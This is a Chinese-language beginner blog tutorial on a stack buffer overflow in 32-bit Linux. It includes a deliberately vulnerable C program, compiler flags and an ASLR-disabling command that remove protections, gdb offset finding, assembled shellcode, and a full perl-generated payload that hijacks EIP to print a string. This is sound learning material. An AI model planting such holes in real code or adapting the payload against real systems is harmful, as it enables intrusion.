缓冲区溢出攻击-入门例子

时间:2022-04-13 06:59:31

  由于工作的需要,开始学习安全领域的知识了。感觉这个领域的知识点太多,而且非常底层,缓冲区溢出攻击这个算是最容易理解的了,就先从这个开始入门吧~

  先试个最简单的例子,学习学习原理~

  本文代码和原理主要参考http://blog.csdn.net/linyt/article/details/43283331博客,大部分内容是直接抄原博客,加了一点自己测试时遇到的问题。

测试环境

  Ubuntu 16.04 TLS

测试前准备

  1. 关闭地址随机化功能:

  echo 0 > /proc/sys/kernel/randomize_va_space

  2. 由于测试用到的是编译出32位程序,现在常见的都是64位系统,先安装一下gcc编译32位程序用到的库:

  sudo apt-get install libc6-dev-i386

示例代码

  (这里对原博客中的代码进行了一点修改,主要是将拷贝的代码放到f()函数中,而不是直接在main函数中实现所有功能。主要是原代码在测试时,遇到缓冲区溢出后,我的EIP总修改不了,而是报错cannot access address 0x41414141...之类的,后来查了下,好像是main函数有个什么地址对其之类的导致的,把实现放在随便一个不是main的函数里就行。目前还不懂具体原因,后面慢慢学习会了再改这里。)

 1 #include <stdio.h>
2 #include <string.h>
3
4 int f()
5 {
6 char buf[32];
7 FILE *fp;
8
9 fp = fopen("bad.txt", "r");
10 if(!fp) {
11 perror("fopen");
12 }
13
14 fread(buf, 1024, 1, fp);
15 printf("data: %s\n", buf);
16 return 0;
17 }
18
19 int main(int argc, char *argv[])
20 {
21 f();
22
23 return 0;
24 }

示例代码有明显的溢出问题,buf的size为32,但是拷贝了最多可达1024个字符。

 

编译程序

gcc -Wall -g -fno-stack-protector -o stack1 stack1.c -m32 -Wl,-zexecstack

参数解释:

  -fno-stack-protector : 禁用栈溢出检测功能

  -m32 : 生成32位程序

  -Wl,-zexecstack : 支持栈端可执行

 

尝试修改EIP,控制执行路径 (直接抄原博客了)

  那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?

   buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。

  为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.

  为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:

输出30个'A'字符

$ perl -e 'printf "A"x30'

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

输出30个'A'字符,后追加4个'B'字符

$ perl -e 'printf "A"x30 . "B"x4'

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

 

尝试的方法很简单,EIP前的空间使用'A'填充,而EIP使用'BBBB'填充,使用两种不同的字母是为了方便找到边界。

目前知道buf大小为32个字符,可以先尝试填充32个'A'和追加'BBBB',如果程序没有出现segment fault,则每次增加'A'字符4个,直到程序segment fault。如果 'BBBB'刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242

 

我机器上的测试过程:

 

$ perl -e 'printf "A"x32 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

已溢出,造成输出乱码,但没有segment fault

 

$ perl -e 'printf "A"x36 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

没有segment fault

 

$ perl -e 'printf "A"x40 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

没有segment fault

 

$ perl -e 'printf "A"x44 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒

输出乱码,但没有segment fault

 

$ perl -e 'printf "A"x48 . "B"x4' > bad.txt ; ./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)

产生segment fault.

 

使用调试工具gdb分析此时的EIP是否为0x42424242

首先输入ulimit -c unlimited

接着运行一下上面的出错的那条指令,此时当前目录下会出现一个core文件

$ gdb ./stack1 core -q

Reading symbols from /home/ivan/exploit/stack1...done.

[New LWP 6043]

 

warning: Can't read pathname for load map: Input/output error.

Core was generated by `./stack1'.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()

(gdb) info register eip

eip            0x42424242       0x42424242

 

分析core文件,发现eip被写成'BBBB',注入内容中的'BBBB'刚才对准了栈中存放EIP的位置。 

找到EIP位置,离成功迈进了一大步。

 

注入执行代码

控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。

 

通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。

 

为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出"FUCK"字符串,然后程序退出。

 

为了简单起引, 我们shellcode就相当于下面两句C语言的效果:

write(1, "FUCK\n", 5);

exit(0);

Linux里面,上面两个C语句可通过两次系统调用(调用号分别为4和1)实现。

 

下面32位x86的汇编代码shell1.s

 1 BITS 32
2 start:
3 xor eax, eax
4 xor ebx, ebx
5 xor ecx, ecx
6 xor edx, edx
7
8 mov bl, 1
9 add esp, string - start
10 mov ecx, esp
11 mov dl, 5
12 mov al, 4
13 int 0x80
14
15 mov al, 1
16 mov bl, 1
17 dec bl
18 int 0x80
19
20 string:
21 db "FUCK", 0xa

编译程序:

nasm -o shell1 shell1.s

反编译:

ndisasm shell1

结果如下:(我编译出来的和原博客的代码一样,我觉得应该x86的都是这样的吧~)

 1 00000000  31C0             xor ax,ax  
2 00000002  31DB             xor bx,bx  
3 00000004  31C9             xor cx,cx  
4 00000006  31D2             xor dx,dx  
5 00000008  B301             mov bl,0x1  
6 0000000A  83C41D          add sp,byte +0x1d  
7 0000000D  89E1             mov cx,sp  
8 0000000F  B205             mov dl,0x5  
9 00000011  B004             mov al,0x4  
10 00000013  CD80             int 0x80  
11 00000015  B001             mov al,0x1  
12 00000017  B301             mov bl,0x1  
13 00000019  FECB             dec bl  
14 0000001B  CD80             int 0x80  
15 0000001D  46               inc si  
16 0000001E  55               push bp  
17 0000001F  43               inc bx  
18 00000020  4B               dec bx  
19 00000021  0A               db 0x0a

 

打通任督二脉

上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。

 

很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。

 

(先删掉之前的core文件) rm ./core

$ perl -e 'printf "A"x48 . "B"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                             ▒/▒▒

Segmentation fault (core dumped)

 

$ gdb ./stack1 core -q

Reading symbols from /home/ivan/exploit/stack1...done.

[New LWP 7399]

 

warning: Can't read pathname for load map: Input/output error.

Core was generated by `./stack1'.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()

(gdb) info register esp

esp            0xffffd710       0xffffd710

 

esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为"\x10\xd7\xff\xff"

 

所以将EIP原来的注入值'BBBB'变成"\x10\xd7\xff\xff"即可。再次测试:

 

$ perl -e 'printf "A"x48 ."\x10\xd7\xff\xff" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                              ▒/▒▒

FUCK

 

成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.

 

小结

  这里是一个基本上最简单的缓冲区溢出漏洞攻击的例子了,虽然这技术有点老,不管怎么样,实验成功了,还是蛮好玩的。

  现代操作系统有很多改进的东西,例如地址随机化、栈数据不可执行等,不过从这个简单的例子,再一步一步学习后面的技术,就好了~

  下一章介绍下这个例子的原理,大部分还是参考原博客的原理分析,不过我好多基础的知识忘了,我得写详细点,以后看起来方便~

 

原博客参考:

http://blog.csdn.net/linyt/article/details/43283331